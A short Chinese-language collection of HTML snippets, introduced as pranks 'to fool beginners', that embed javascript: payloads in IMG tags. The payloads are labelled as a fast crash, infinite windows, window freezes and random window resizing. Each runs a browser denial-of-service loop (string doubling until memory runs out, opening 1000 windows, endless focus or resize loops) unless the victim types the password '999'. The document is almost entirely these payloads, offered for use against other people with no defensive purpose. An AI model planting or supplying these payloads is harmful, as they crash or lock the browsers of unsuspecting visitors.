写着玩的,骗骗初学者
快速死机
<IMG src="javascript:{a='hello';function ad(){a=a+a;window.status=a.length;window.setTimeout('ad()',10)}a=prompt('靠阿克','');if(a!='999'){ad();}}">
无限窗口
<IMG src="javascript:a=prompt('你好!',''); if (a!='999'){for(i=0;i<1000;i++){window.open()}}">
窗口冻结
<IMG src="javascript:a=prompt('test',''); if (a!='999'){n=1;while(n==1){window.focus()}}">
窗口冻结II
<IMG src="javascript:b=prompt('aaaaa',''); if (b!='999'){a=['#00ff00','#0000ff'];for(i=0;i<3;i++){document.bgColor=a[i];if(i==2){i=0}}}">
疯狂变换
<IMG src="javascript:b=prompt('aaaaa',''); if (b!='999'){while(typeof('a')=='string'){i=Math.round(Math.random()*1000)-500;window.resizeBy(i,i)}}">
问好
<IMG οnmοuseοver="alert('向大家问好');" src="http://xx.xx.xx/xx.jpg">